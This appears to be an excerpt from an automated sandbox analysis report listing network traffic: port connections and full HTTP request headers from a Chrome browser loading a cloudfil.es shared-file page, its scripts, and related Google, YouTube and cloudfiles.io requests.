Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccept-Ranges: bytesAccess-Control-Allow-Origin: *Age: 1279030Cache-Control: public, max-age=0, must-revalidateContent-Disposition: inline; filename="404"Content-Length: 48544Content-Type: text/html; charset=utf-8Date: Fri, 23 Sep 2022 06:15:04 GMTEtag: "e906d7243ccfceeeeb28df0cdc4478aa"Server: VercelStrict-Transport-Security: max-age=63072000X-Matched-Path: /404X-Vercel-Cache: HITX-Vercel-Id: fra1:fra1::l9km5-1663913704947-73d98f604576Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccept-Ranges: bytesAccess-Control-Allow-Origin: *Age: 1279036Cache-Control: public, max-age=0, must-revalidateContent-Disposition: inline; filename="404"Content-Length: 48544Content-Type: text/html; charset=utf-8Date: Fri, 23 Sep 2022 06:15:10 GMTEtag: "e906d7243ccfceeeeb28df0cdc4478aa"Server: VercelStrict-Transport-Security: max-age=63072000X-Matched-Path: /404X-Vercel-Cache: HITX-Vercel-Id: fra1:fra1::fwplq-1663913710069-dd4a4ea443d3Connection: close

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+904; AEC=AakniGO7HqlHWlnoY-P22_SwwnNSfVGxlF1NgK5nuj5WLe313NyJi16g7z4; SOCS=CAISHAgCEhJnd3NfMjAyMjA4MDgtMF9SQzEaAmVuIAEaBgiAvOuXBg; NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ly7mR8utBQ5 HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/761d08517528cd55.css HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-992f997fccc36c29.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-49f1e091cbf6b261.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-96fa8ae7c24c9725.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-3b7320b70fab585f.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/469-6d7e72663fcd884a.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/838-e577e7ded876b417.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/%5Bhash%5D-da6732468a64e9d9.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/whUZKVJqkE3pK_fzfRN2H/_buildManifest.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/inter/v12/UcC73FwrK3iLTeHuS_fvQtMwCp50KnMa1ZL7W0Q5nw.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://cloudfil.essec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/whUZKVJqkE3pK_fzfRN2H/_ssgManifest.js HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /all.js HTTP/1.1Host: api.dmcdn.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe_api HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/www-widgetapi.vflset/www-widgetapi.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /locales/en/common.json HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5/files HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/logoWordmark.svg HTTP/1.1Host: cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfil.es/ly7mR8utBQ5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/logoWordmark.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfil.es
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-cb7634a8b6194820.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-5f4595e5518b5600.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
